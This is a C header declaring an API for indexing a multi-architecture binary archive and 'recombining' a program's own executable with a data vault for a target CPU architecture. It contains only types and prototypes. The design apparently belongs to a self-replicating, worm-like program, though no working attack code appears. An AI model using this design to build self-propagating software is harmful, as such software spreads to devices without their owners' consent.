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#pragma once
#include <stdint.h>
#include <stdbool.h>
#include "protocol.h"
#include <zlib.h>
typedef struct prne_bin_tuple prne_bin_tuple_t;
typedef struct prne_bin_archive prne_bin_archive_t;
typedef struct prne_bin_rcb_ctx prne_bin_rcb_ctx_t;
typedef struct prne_rcb_param prne_rcb_param_t;
typedef enum {
PRNE_PACK_RC_OK,
PRNE_PACK_RC_EOF,
PRNE_PACK_RC_INVAL,
PRNE_PACK_RC_FMT_ERR,
PRNE_PACK_RC_ERRNO,
PRNE_PACK_RC_Z_ERR,
PRNE_PACK_RC_NO_ARCH,
NB_PRNE_PACK_RC
} prne_pack_rc_t;
struct prne_bin_tuple {
size_t size;
prne_arch_t arch;
};
struct prne_bin_archive {
const uint8_t *data;
size_t data_size;
size_t nb_bin;
prne_bin_tuple_t *bin;
};
// Recombination Context
struct prne_bin_rcb_ctx {
void *o_ctx;
void (*ctx_free_f)(void*);
ssize_t(*read_f)(
prne_bin_rcb_ctx_t *ctx,
uint8_t *buf,
size_t len,
prne_pack_rc_t *prc,
int *err);
};
struct prne_rcb_param {
const uint8_t *m_self;
size_t self_len;
size_t exec_len;
const uint8_t *m_dv;
size_t dv_len;
const prne_bin_archive_t *ba;
prne_arch_t self;
};
void prne_init_bin_archive (prne_bin_archive_t *a);
void prne_free_bin_archive (prne_bin_archive_t *a);
prne_pack_rc_t prne_index_bin_archive (
const uint8_t *data,
size_t len,
prne_bin_archive_t *out);
void prne_init_bin_rcb_ctx (prne_bin_rcb_ctx_t *ctx);
void prne_free_bin_rcb_ctx (prne_bin_rcb_ctx_t *ctx);
prne_pack_rc_t prne_start_bin_rcb (
prne_bin_rcb_ctx_t *ctx,
const prne_arch_t target,
const prne_arch_t self,
const uint8_t *m_self,
const size_t self_len,
const size_t exec_len,
const uint8_t *m_dvault,
const size_t dvault_len,
const prne_bin_archive_t *ba);
prne_pack_rc_t prne_start_bin_rcb_compat (
prne_bin_rcb_ctx_t *ctx,
const prne_arch_t target,
const prne_arch_t self,
const uint8_t *m_self,
const size_t self_len,
const size_t exec_len,
const uint8_t *m_dvault,
const size_t dvault_len,
const prne_bin_archive_t *ba,
prne_arch_t *actual);
ssize_t prne_bin_rcb_read (
prne_bin_rcb_ctx_t *ctx,
uint8_t *buf,
size_t len,
prne_pack_rc_t *prc,
int *err);
bool prne_index_nybin (
const uint8_t *m_nybin,
const size_t nybin_len,
const uint8_t **m_dv,
size_t *dv_len,
const uint8_t **m_ba,
size_t *ba_len);
void prne_init_rcb_param (prne_rcb_param_t *rp);
void prne_free_rcb_param (prne_rcb_param_t *rp);
const prne_arch_t *prne_compat_arch (const prne_arch_t arch);
const char *prne_pack_rc_tostr (const prne_pack_rc_t prc);
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